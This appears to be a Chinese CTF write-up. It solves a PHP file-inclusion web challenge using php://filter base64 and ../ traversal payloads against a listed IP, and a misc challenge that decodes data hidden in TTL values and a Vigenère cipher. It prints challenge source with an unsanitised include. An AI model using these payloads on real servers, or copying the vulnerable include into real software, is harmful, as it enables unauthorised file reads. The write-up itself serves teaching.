web部分
babyt3
首先,访问进去发现有提示:
开始测试:
get方式传参file=index.php发现无限加载。说明可以加载php文件,
尝试读取源码。使用php协议php://filter/read=convert.base64-encode/resource=xxx.php
读取index.php的源码。
得到:
<?php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>
<!--hint: ZGlyLnBocA== -->
提示dir.php,读取dir.php得到:
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
发现可以读取目录。然后就是看目录啦,(因为什么都没过滤,所以比较简单)通过../来跳转目录,最后发现flag再根目录
然后就是通过协议读取flag。
playload:http://61.164.47.198:10000/index.php/?file=php://filter/read=convert.base64-encode/resource=../../../../ffffflag_1s_Her4
base64解码得到fllag。
misc部分
奇怪的TTL字段
经过研究发现ttl就63,127,191,225.一般ttl二进制的前两位隐藏这数据。所以就提取前两位然后拼在一起然后每八位一转转换为16进制然后再转图片就ok了。
上脚本:
#coding=utf-8
import re
import math
f=open('ttl.txt','r')
s=f.read()
s=re.sub('\n',' ', s)
s=re.sub('TTL=','', s)
s=re.sub('191','10', s)
s=re.sub('63','00', s)
s=re.sub('255','11', s)
s=re.sub('127','01', s)
s=s.split()
s=''.join(s)
import binascii
flag = ''
for i in range(0,len(s),8):
flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
得到图片:
方式二:
得到16进制字符串后到16进制编辑工具里保存下来也可得到图片。
然后通过binwalk分离一下得到6张图片,然后拼接一下得到一个二维码。
扫码得到:
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
然后就是维吉尼亚解密:
网址:http://68.168.134.3/vigener/
进行解密
得到flag:flag{2028ab39927df1d96e6a12b03j58002v}